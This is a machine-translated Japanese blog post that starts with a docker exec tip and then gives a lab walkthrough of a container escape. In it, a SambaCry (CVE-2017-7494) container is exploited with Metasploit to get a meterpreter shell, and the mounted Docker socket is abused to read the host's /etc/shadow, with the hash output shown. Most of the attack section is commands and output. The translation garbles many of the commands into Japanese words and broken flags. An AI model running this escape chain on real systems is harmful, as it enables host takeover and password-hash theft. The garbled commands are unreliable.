ホスト上のDockerコンテナ内でシェルまたはプログラムを実行する

ホスト上のDockerコンテナ内でシェルまたはプログラムを実行する

Docker コンテナに繰り返し入って操作することを避けるために、コンテナ内の一連の命令をホストマシンで完了させることができます。

ホスト マシン (著者のホストは Windows 7) 上の centos コンテナー (名前は centos-1) の /usr ディレクトリにある「プリンター」実行可能プログラムを実行すると、プログラムの出力として「123」が印刷されます。

C:\Users\Administrator>docker exec -it centos-1 /bin/bash -c "cd usr && ./printer" 123

成功。

追加知識:安全でない Docker コンテナのデプロイメントを使用してホスト権限を取得する

序文

コンテナを悪用して脱出する方法は数多くあります。この記事では、最も基本的な方法、つまり Docker ソケットを悪用してコンテナを脱出し、ホスト上で root としてコードを実行する方法について説明します。

実験環境のセットアップ

コンテナを使用するため、docker がインストールされている必要があります。

ネットワークの作成

まず、コンテナを作成する Docker ネットワークを作成します。

docker ネットワーク作成 pwnage

脆弱なコンテナを起動する

この例では、SambaCry 脆弱性 (CVE-2017-7494) の影響を受けるコンテナを使用します。脆弱性の詳細については、opsxcq/exploit-CVE-2017-7494 を参照してください。

この脆弱性により、Samba サーバーでリモート コードを実行できるようになります。コンテナーに docker ソケットを追加します。以下は docker を悪用した例です。

docker run --rm -it \
    --name 脆弱な \
    --network-pwnage \
    -v '/var/run/docker.sock:/var/run/docker.sock' \
    脆弱性/CVE-2017-7494

攻撃機の発進

ラボ環境をセットアップしたら、攻撃者のホス​​トをネットワークに追加する必要があります。 Samba Cry リポジトリには利用可能なエクスプロイトがありますが、必要なものをアップロードする方が簡単なので、ここでは Metasploit を使用します。

私はこれ用のイメージを構築しました。以下のコマンドを実行するだけで、ラボ環境に必要なすべてが実行されます。

docker run --rm -it \
    --network-pwnage \
    -v '/usr/bin/docker:/docker:ro' \
    strm/メタスプロイト

読み込みが完了すると、次のインターフェースが表示されます。

攻撃の悪用

情報収集

情報収集は、あらゆる攻撃やテストの重要な部分です。まず、脆弱なコンテナに ping を実行して、現在の接続を確認しましょう。

ping -c 2 脆弱

すべてがうまくいけば、次の出力が表示されます。

msf5 > ping -c 2 脆弱 
[*] exec: ping -c 2 脆弱 
 
PING脆弱(172.20.0.2)56(84)バイトのデータ。
脆弱性のあるpwnage (172.20.0.2) からの 64 バイト: icmp_seq=1 ttl=64 time=0.120 ms
脆弱性のある.pwnage (172.20.0.2) からの 64 バイト: icmp_seq=2 ttl=64 time=0.097 ms
 
--- 脆弱な ping 統計 ---
送信パケット 2 個、受信パケット 2 個、パケット損失 0%、時間 1009 ミリ秒
rtt 最小/平均/最大/平均偏差 = 0.097/0.108/0.120/0.015 ミリ秒

次に、基本的な smb 共有の列挙を実行します。

補助/スキャナ/smb/smb_enumshares を使用する
rhosts を脆弱に設定する
走る

出力は次のようになります。

msf5 > 補助/スキャナ/smb/smb_enumshares を使用する
msf5 補助(スキャナ/smb/smb_enumshares) > rhosts を脆弱に設定
rhosts => 脆弱
msf5 補助(スキャナ/smb/smb_enumshares) > 実行
 
[+] 172.20.0.2:139 - データ - (DS) データ
[+] 172.20.0.2:139 - IPC$ - (I) IPC サービス (泣きサンバ)
[*] 脆弱: - 1 台のホストのうち 1 台をスキャンしました (100% 完了)
[*] 補助モジュールの実行が完了しました

ご覧のとおり、この samba サーバーには data という名前の共有があります。

シェルを入手する

次のステップは、ホスト マシンに対してエクスプロイトを実行してシェルを取得することです。 Metasploit では、この脆弱性は is_known_pipename という名前で、exploit/linux/samba/is_known_pipename にあります。

ホストを攻撃するには、以下のコマンドを実行します。

エクスプロイト/linux/samba/is_known_pipename を使用する
RHOSTを脆弱に設定する
RPORT 445 を設定
ペイロードを設定する linux/x64/meterpreter/bind_tcp
ターゲット3を設定
SMB_FOLDERデータを設定する
SMBUser sambacry を設定する
SMBPassを設定する nosambanocry
悪用する

すべてがうまくいけば、meterpreter シェルが取得されます。次のように:

msf5 > エクスプロイト/linux/samba/is_known_pipename を使用する
msf5 エクスプロイト(linux/samba/is_known_pipename) > RHOST を脆弱に設定する
RHOST => 脆弱
msf5 エクスプロイト(linux/samba/is_known_pipename) > RPORT 445 を設定
レポート => 445
msf5 エクスプロイト (linux/samba/is_known_pipename) > ペイロードを設定 linux/x64/meterpreter/bind_tcp
ペイロード => linux/x64/meterpreter/bind_tcp
msf5 エクスプロイト(linux/samba/is_known_pipename) > TARGET 3 を設定
ターゲット => 3
msf5 エクスプロイト(linux/samba/is_known_pipename) > SMB_FOLDER データの設定
SMB_FOLDER => データ
msf5 エクスプロイト(linux/samba/is_known_pipename) > SMBUser sambacry を設定する
SMBUser => サンバクリ
msf5 エクスプロイト(linux/samba/is_known_pipename) > SMBPass nosambanocry を設定する
SMBPass => いやだー
msf5 エクスプロイト(linux/samba/is_known_pipename) > エクスプロイト
 
[*] 脆弱:445 - パスに場所 \\vulnerable\data\ を使用する
[*] 脆弱性:445 - 共有「データ」のリモートパスの取得
[*] 脆弱:445 - 共有「data」にサーバー側パス「/data」がある
[*] 脆弱:445 - ペイロードを \\vulnerable\data\shyyEPPk.so にアップロードしました
[*] 脆弱性:445 - \\PIPE\/data/shyyEPPk.so を使用してサーバー側パス /data/shyyEPPk.so からペイロードをロードします...
[-] 脆弱:445 - >> STATUS_OBJECT_NAME_NOT_FOUND の読み込みに失敗しました
[*] 脆弱:445 - /data/shyyEPPk.so を使用してサーバー側パス /data/shyyEPPk.so からペイロードをロードします...
[-] 脆弱:445 - >> STATUS_OBJECT_NAME_NOT_FOUND の読み込みに失敗しました
[*] 脆弱な 4444 に対するバインド TCP ハンドラーを開始しました
[*] 脆弱な送信ステージ(816260バイト)
 
メータープレター >

権限昇格

コンテナ内で利用可能な Docker ソケットを悪用して権限を昇格します。 Docker はホストマシン上で root として実行されるため、root 権限も持っています。これを悪用して複数のアクションを実行することができます。たとえば、--privileged オプションを使用すると、多くの拡張機能が提供されます。以下は、Docker の公式ドキュメントから抜粋した説明文です。

デフォルトでは、Docker コンテナには権限がありません。たとえば、コンテナ内でコンテナを起動することはできません。これは、デフォルトではコンテナが他のデバイスにアクセスできないためです。しかし、「特権」を持つことにより、コンテナは他のデバイスにアクセスできるようになります。オペレーターが docker run --privileged を実行すると、Docker はホスト上のすべてのデバイスにアクセスできるようになります。同時に、Docker は apparmor または selinux でいくつかの設定を行い、コンテナがコンテナ外で実行されているデバイスに簡単にアクセスできるようにします。

--device オプションを使用してデバイスにアクセスできます。ただし、この例では、toor ファイル システム (/) をコンテナーにマップしてアクセスします。

このコンテナには Docker クライアントがないため、次に行う必要があるのは、ターゲット コンテナに Docker クライアントとその依存関係を設定することです。次のコマンドを実行するだけで、これらすべてを実行できます。

アップロード /docker /docker
/usr/lib/x86_64-linux-gnu/libltdl.so.7 をアップロードします /usr/lib/x86_64-linux-gnu/libltdl.so.7
chmod 777 /docker
chmod +x /docker
メータープレター > アップロード /docker /docker
[*] アップロード中: /docker -> /docker
[*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker
[*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker
[*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker
[*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker
[*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker
[*] アップロード済み : /docker -> /docker
メータープリター > /usr/lib/x86_64-linux-gnu/libltdl.so.7 をアップロード /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] アップロード中: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] 38.47 KiB のうち -1.00 B (-0.0%) をアップロードしました: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] アップロードしました: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
メータープレター > chmod 777 /docker
メータープリター > chmod +x /docker
メータープレター >

これで、docker を使用してホスト マシン上のファイル システムにアクセスできるようになりました。 \

-f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow" を実行します。

ローカル ユーザーのハッシュをダンプしてみましょう。出力は次のようになります。

メータープリター > 実行 -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"
プロセス 113 が作成されました。
チャンネル13が作成されました。
ルート:$1$UFKdtFGw$qp29y1qGWit/vnvIG0uSr1:17488:0:99999:7:::
デーモン:*:17488:0:99999:7:::
ビン:*:17488:0:99999:7:::
sys:*:17488:0:99999:7:::
同期:*:17488:0:99999:7:::
ゲーム:*:17488:0:99999:7:::
男:*:17488:0:99999:7:::
lp:*:17488:0:99999:7:::
メール:*:17488:0:99999:7:::
ニュース:*:17488:0:99999:7:::

ホスト上の docker コンテナ内でシェルまたはプログラムを実行する方法に関する上記の記事が、私が皆さんに共有できるすべてです。この記事が皆さんの参考になれば幸いです。また、123WORDPRESS.COM を応援していただければ幸いです。

以下もご興味があるかもしれません:
  • Dockerはコンテナとホスト間でのシェルコマンドのシームレスな呼び出しを可能にします
  • Dockerコンテナにホストディレクトリへの書き込み権限がない場合の解決策
  • Dockerコンテナがホストポートにアクセスできない場合の解決策
  • Dockerコンテナ内でホストDocker操作を呼び出して実行する
  • dockerコンテナがIP経由でホストマシンにアクセスできない問題を解決する方法の詳細な説明
  • Dockerコンテナを使用してホストネットワークにアクセスする方法
  • Dockerコンテナとホストマシン間の8時間の差の問題を解決する

<<:  JavaScript でよく使われる 5 つのオブジェクト

>>:  モバイルデバイス用のメタタグ設定の完全なリスト

推薦する

きれいなJavaScriptコードの書き方を教える記事

目次1. 変数意味のある名前を使う不必要なコンテキストを追加しないようにするハードコードされた値を避...

MySQLシリーズ15 MySQL共通設定とパフォーマンスストレステスト

1. 一般的なMySQLの設定以下のすべての構成パラメータは、32G のメモリを搭載したサーバーに基...

Docker+K8S+GitLab/SVN+Jenkins+Harbor をベースにした継続的インテグレーション配信環境の構築に関する詳細なチュートリアル

目次環境設定の概要1.K8Sとは何ですか? 2. K8S を使用する理由3. K8S を使用する利点...

Vue Routerはバックグラウンドデータに応じて異なるコンポーネントをロードします

目次実際のプロジェクトで遭遇する要件実装が間違っているところもある私は個人的に、実装するより良い方法...

MySQL数千万の大規模データに対する30のSQLクエリ最適化テクニックの詳細な説明

1. クエリを最適化するには、テーブル全体のスキャンを避けてください。まず、where と orde...

Vue の動的メニュー、動的ルートの読み込みと更新の落とし穴

目次必要:アイデア:レッスン:テキストを共有する:要約する必要:インターフェイスからサブメニュー デ...

Linux がますます人気になっている 10 の理由

Linux はますます多くのユーザーに愛されてきました。なぜ Linux はこれほど急速に発展し、い...

Reactでカスタムフックを作成する方法を教えます

1. カスタムフックとは何かロジックの再利用簡単に言えば、カスタム フックを使用すると、特定のコンポ...

開発にVscodeとdockerを組み合わせて使用​​する詳細なプロセス

序文Docker と VS Code を使用すると、ローカル開発環境全体を最適化し、プロジェクトの進...

mysql init_connect に関するいくつかの重要なポイントの要約

init_connectの役割init_connect は通常、接続が来たときに、自動コミットを 0...

Docker で Selenium グリッド分散環境を構築する実用的な方法

最近、Zoom ビデオ会議をテストし、100 人が同時に会議に参加することをシミュレートする必要があ...

CSS における px、rem、em、vh、vw の違いを簡単に分析します

絶対長さピクセルpx はピクセル値であり、メートルやセンチメートルのような固定の長さです。相対的な長...

ページ内にマーキーとフラッシュが共存する場合の競合解決

競合の主な症状は、FLASH ボタンがジャンプし続け、不安定になり、Web ページの外観と通常のアク...

Vueコンポーネント間のデータ共有の詳細な説明

目次1. プロジェクト開発において、コンポーネント間の最も一般的な関係は次の 2 つのタイプに分けら...

vue+element テーブルで動的な列フィルタリングを実装するためのサンプルコード

要件: データをリスト形式で表示する場合、表示すべき情報項目が多く、表が横に長くなってしまいます。表...